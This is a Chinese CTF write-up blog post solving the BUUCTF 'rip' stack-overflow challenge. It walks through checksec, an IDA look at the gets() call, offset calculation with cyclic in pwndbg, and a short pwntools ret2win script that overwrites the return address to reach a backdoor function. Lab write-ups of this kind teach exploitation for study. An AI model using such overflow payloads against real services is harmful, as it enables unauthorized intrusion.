[每日一PWN]BUUCTF RIP

前言

比赛隐身,反思结束,从头详细记录一下,每日记录一题,第一题的nc就不用记了,所以直接从第二题rip开始。

保护模式

首先checksec看一下
在这里插入图片描述
64位小端序,部分地址随机化

溢出点

放进IDA看一眼
在这里插入图片描述

偏移计算

主函数里可以看到gets函数这个注入点,从上面的rbp-Fh判断是距离rbp寄存器还有Fh也就是15个偏移,加上rbp寄存器自身的8个偏移,也就是到返回地址需要23个偏移。
如果对IDA的数据拿不准的话,也可以放到pwndbg调试一下看看:
用cyclic创建200个字符的数据然后运行并输入:
在这里插入图片描述
完成后看看rbp寄存器的值:
在这里插入图片描述
复制其前四位然后用cyclic计算偏移:
在这里插入图片描述
可见确实是15偏移,加上rbp自身的8偏移就是23偏移

后门函数

然后在IDA中,我们很容易可以找到这道题的后门函数
在这里插入图片描述
也就是说,只需要将函数跳转到此即可,那么先看一眼fun函数的位置
在这里插入图片描述

攻击脚本

from pwn import *
p=remote('IP',PORT)
payload=b'a'*23+p64(0x401187)
p.sendline(payload)
p.interactive()

简单解释一下,这个脚本的作用也就是用无用字符a覆盖掉前面23个偏移地址的空间,然后将返回地址覆盖为0x401187,之所以覆盖为0x401187而不是0x401186,是因为运行的时候发现因为堆栈不平衡而运行失败(堆栈平衡请自行百度吧,要写在这里的话长度得多几倍),刚好0x401186是一个影响栈平衡的push命令,所以跳过这一步,使用0x401187即可。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值